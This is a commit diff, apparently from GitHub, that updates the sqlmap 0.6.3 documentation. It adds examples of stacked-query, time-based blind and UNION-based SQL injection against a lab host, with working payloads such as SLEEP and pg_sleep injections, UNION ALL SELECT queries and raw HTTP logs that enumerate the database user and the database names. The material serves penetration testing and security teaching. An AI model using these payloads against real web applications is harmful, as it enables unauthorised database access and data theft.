Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 36d9ede

Browse files
bdamelebdamele
committed
Updated documentation, ready for sqlmap 0.6.3 release
1 parent b7f2602 commit 36d9ede

4 files changed

Lines changed: 376 additions & 66 deletions

File tree

‎doc/ChangeLog‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,9 @@ sqlmap (0.6.3-1) stable; urgency=low
66
'conversations/' folder path by providing option -l <filepath>;
77
* Major enhancement to support Partial UNION query SQL injection
88
technique too;
9-
* Major enhancement to support stacked queries (multiple staatements)
10-
when the web application supports them which is useful for time based
11-
blind sql injection test and will be used someday also by takeover
9+
* Major enhancement to test if the web application technology supports
10+
stacked queries (multiple statements) by providing option
11+
--stacked-test which will be then used someday also by takeover
1212
functionality;
1313
* Major enhancement to test if the injectable parameter is affected by
1414
a time based blind SQL injection technique by providing option

‎doc/README.html‎

Lines changed: 189 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -446,6 +446,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
446446
or to use one of them to exploit the affected parameter(s) rather than
447447
using the default blind SQL injection technique.
448448

449+
--stacked-test Test for stacked queries (multiple statements) support
449450
--time-test Test for Time based blind SQL injection
450451
--union-test Test for UNION query (inband) SQL injection
451452
--union-use Use the UNION query (inband) SQL injection to retrieve
@@ -1801,11 +1802,104 @@ <H3>Exclude specific page content</H3>
18011802
<H2><A NAME="ss5.4">5.4</A> <A HREF="#toc5.4">Techniques</A>
18021803
</H2>
18031804

1805+
<H3>Test for stacked queries (multiple statements) support</H3>
1806+
1807+
<P>Option: <CODE>--stacked-test</CODE></P>
1808+
1809+
<P>It is possible to test if the web application technology supports
1810+
<B>stacked queries</B>, multiple statements, on the injectable
1811+
parameter.</P>
1812+
1813+
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
1814+
<P>
1815+
<BLOCKQUOTE><CODE>
1816+
<PRE>
1817+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
1818+
--stacked-test -v 1
1819+
1820+
[...]
1821+
back-end DBMS: MySQL >= 5.0.0
1822+
1823+
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
1824+
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
1825+
stacked queries support: None
1826+
</PRE>
1827+
</CODE></BLOCKQUOTE>
1828+
</P>
1829+
1830+
<P>By default PHP builtin function <CODE>mysql_query()</CODE> does not support
1831+
multiple statements.
1832+
Multiple statements is a feature supported by default only by some
1833+
web application technologies in relation to the back-end database
1834+
management system. For instance, as you can see from the next example,
1835+
where PHP does not support them on MySQL, it does on PostgreSQL.</P>
1836+
1837+
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
1838+
<P>
1839+
<BLOCKQUOTE><CODE>
1840+
<PRE>
1841+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
1842+
--stacked-test -v 1
1843+
1844+
[...]
1845+
back-end DBMS: PostgreSQL
1846+
1847+
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
1848+
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
1849+
stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
1850+
</PRE>
1851+
</CODE></BLOCKQUOTE>
1852+
</P>
1853+
1854+
18041855
<H3>Test for Time based blind SQL injection</H3>
18051856

18061857
<P>Option: <CODE>--time-test</CODE></P>
18071858

1808-
<P>TODO</P>
1859+
<P>It is possible to test if the target URL is affected by a <B>Time based
1860+
blind SQL injection</B> vulnerability.</P>
1861+
1862+
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
1863+
<P>
1864+
<BLOCKQUOTE><CODE>
1865+
<PRE>
1866+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
1867+
--time-test -v 1
1868+
1869+
[...]
1870+
back-end DBMS: MySQL >= 5.0.0
1871+
1872+
[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
1873+
condition syntax
1874+
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
1875+
with AND condition syntax
1876+
time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249'
1877+
</PRE>
1878+
</CODE></BLOCKQUOTE>
1879+
</P>
1880+
1881+
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
1882+
<P>
1883+
<BLOCKQUOTE><CODE>
1884+
<PRE>
1885+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
1886+
--time-test -v 1
1887+
1888+
[...]
1889+
back-end DBMS: PostgreSQL
1890+
1891+
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
1892+
condition syntax
1893+
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
1894+
injection with AND condition syntax
1895+
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
1896+
query syntax
1897+
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
1898+
with stacked query syntax
1899+
time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
1900+
</PRE>
1901+
</CODE></BLOCKQUOTE>
1902+
</P>
18091903

18101904

18111905
<H3>Test for UNION query SQL injection</H3>
@@ -1873,7 +1967,10 @@ <H3>Use the UNION query SQL injection</H3>
18731967
exploiting.
18741968
If the confirmation fails, it will check if the parameter is affected by
18751969
a <B>Partial UNION query SQL injection</B>, then use it to go ahead if it
1876-
is vulnerable.</P>
1970+
is vulnerable.
1971+
In case the inband SQL injection vulnerability is not exploitable, sqlmap
1972+
will automatically fallback on the blind SQL injection technique to go
1973+
ahead.</P>
18771974

18781975
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
18791976
<P>
@@ -1915,18 +2012,19 @@ <H3>Use the UNION query SQL injection</H3>
19152012
<BLOCKQUOTE><CODE>
19162013
<PRE>
19172014
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \
1918-
--union-use --banner
2015+
--union-use --current-user
19192016

19202017
[...]
1921-
[hh:mm:25] [INFO] the target url is affected by an exploitable full inband sql injection
1922-
vulnerability
1923-
[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
1924-
VERSION(),CHAR(122,110,105,89,121,65)), NULL# AND 6043=6043
1925-
[hh:mm:25] [TRAFFIC OUT] HTTP request:
1926-
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
1927-
%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
1928-
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL%23%20AND%2
1929-
06043=6043 HTTP/1.1
2018+
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
2019+
injection vulnerability
2020+
[hh:mm:29] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
2021+
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
2022+
NULL# AND 8032=8032
2023+
[hh:mm:29] [TRAFFIC OUT] HTTP request:
2024+
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
2025+
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
2026+
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
2027+
%208032=8032 HTTP/1.1
19302028
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
19312029
Host: 192.168.1.121:80
19322030
Accept-language: en-us,en;q=0.5
@@ -1935,11 +2033,11 @@ <H3>Use the UNION query SQL injection</H3>
19352033
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
19362034
Connection: close
19372035

1938-
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
1939-
Date: Mon, 28 Jul 2008 22:34:25 GMT
1940-
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
1941-
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
1942-
X-Powered-By: PHP/5.2.4-2ubuntu5.2
2036+
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
2037+
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
2038+
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
2039+
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
2040+
X-Powered-By: PHP/5.2.6-2ubuntu4
19432041
Content-Length: 194
19442042
Connection: close
19452043
Content-Type: text/html
@@ -1948,21 +2046,81 @@ <H3>Use the UNION query SQL injection</H3>
19482046
&lt;b&gt;SQL results:&lt;/b&gt;
19492047
&lt;table border="1"&gt;
19502048
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;luther&lt;/td&gt;&lt;td&gt;blissett&lt;/td&gt;&lt;/tr&gt;
1951-
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;FPMIFA5.0.67-0ubuntu6zFQAiQ&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
2049+
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;pnyMXVtestuser@localhostHYKMyg&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
19522050
&lt;/table&gt;
19532051
&lt;/body&gt;&lt;/html&gt;
19542052

1955-
[hh:mm:25] [INFO] performed 3 queries in 0 seconds
1956-
banner: '5.0.67-0ubuntu6'
2053+
[hh:mm:29] [INFO] performed 3 queries in 0 seconds
2054+
current user: 'testuser@localhost'
19572055
</PRE>
19582056
</CODE></BLOCKQUOTE>
19592057
</P>
19602058

1961-
<P>As you can see, the MySQL <CODE>version()</CODE> function (banner) output is
1962-
nested (inband) within the HTTP response page, this makes the inband SQL
1963-
injection exploitable.</P>
2059+
<P>As you can see, the MySQL <CODE>CURRENT_USER()</CODE> function (--current-user)
2060+
output is nested, inband, within the HTTP response page, this makes the
2061+
inband SQL injection exploited.</P>
2062+
2063+
<P>In case the inband SQL injection is not fully exploitable, sqlmap will
2064+
check if it is partially exploitable: this occurs if the query output
2065+
is not parsed within a <CODE>for</CODE>, or similar, cycle but only the first
2066+
entry is displayed in the page content.</P>
2067+
2068+
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
2069+
<P>
2070+
<BLOCKQUOTE><CODE>
2071+
<PRE>
2072+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 \
2073+
--union-use --dbs
2074+
2075+
[...]
2076+
back-end DBMS: MySQL >= 5.0.0
2077+
2078+
[hh:mm:56] [INFO] fetching database names
2079+
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id'
2080+
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
2081+
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
2082+
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
2083+
injection vulnerability
2084+
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
2085+
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
2086+
vulnerability
2087+
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
2088+
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
2089+
FROM information_schema.SCHEMATA# AND 1062=1062
2090+
[hh:mm:56] [INFO] performed 6 queries in 0 seconds
2091+
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
2092+
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
2093+
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
2094+
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
2095+
[hh:mm:56] [INFO] performed 7 queries in 0 seconds
2096+
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
2097+
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
2098+
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
2099+
[hh:mm:56] [INFO] performed 8 queries in 0 seconds
2100+
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
2101+
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
2102+
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
2103+
[hh:mm:56] [INFO] performed 9 queries in 0 seconds
2104+
[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
2105+
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
2106+
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
2107+
[hh:mm:56] [INFO] performed 10 queries in 0 seconds
2108+
available databases [4]:
2109+
[*] information_schema
2110+
[*] mysql
2111+
[*] privatedb
2112+
[*] test
2113+
</PRE>
2114+
</CODE></BLOCKQUOTE>
2115+
</P>
19642116

1965-
<P>TODO: details on partial ...</P>
2117+
<P>As you can see, sqlmap identified that the parameter is affected by a
2118+
partial inband SQL injection, consequently counted the number of query
2119+
output entries and retrieved once per time by forcing the parameter
2120+
(<CODE>id</CODE>) value <CODE>1</CODE> to its negative value <CODE>-1</CODE> so that
2121+
it does not returns, presumibly, any output leaving our own <CODE>UNION ALL
2122+
SELECT</CODE> statement to produce one entry at a time and display it in the
2123+
page content.</P>
19662124

19672125

19682126
<H2><A NAME="ss5.5">5.5</A> <A HREF="#toc5.5">Fingerprint</A>
@@ -2742,14 +2900,14 @@ <H3>Database table columns</H3>
27422900
[...]
27432901
back-end DBMS: MySQL >= 5.0.0
27442902

2745-
[15:54:25] [WARNING] missing database parameter, sqlmap is going to use the current
2903+
[hh:mm:25] [WARNING] missing database parameter, sqlmap is going to use the current
27462904
database to enumerate table 'users' columns
2747-
[15:54:25] [INFO] fetching current database
2748-
[15:54:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
2749-
[15:54:25] [INFO] retrieved: test
2750-
[15:54:25] [INFO] performed 34 queries in 0 seconds
2751-
[15:54:25] [INFO] fetching columns for table 'users' on database 'test'
2752-
[15:54:25] [INFO] fetching number of columns for table 'users' on database 'test'
2905+
[hh:mm:25] [INFO] fetching current database
2906+
[hh:mm:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
2907+
[hh:mm:25] [INFO] retrieved: test
2908+
[hh:mm:25] [INFO] performed 34 queries in 0 seconds
2909+
[hh:mm:25] [INFO] fetching columns for table 'users' on database 'test'
2910+
[hh:mm:25] [INFO] fetching number of columns for table 'users' on database 'test'
27532911
[...]
27542912
Database: test
27552913
Table: users

‎doc/README.pdf‎

5.11 KB
Binary file not shown.

0 commit comments

Comments
 (0)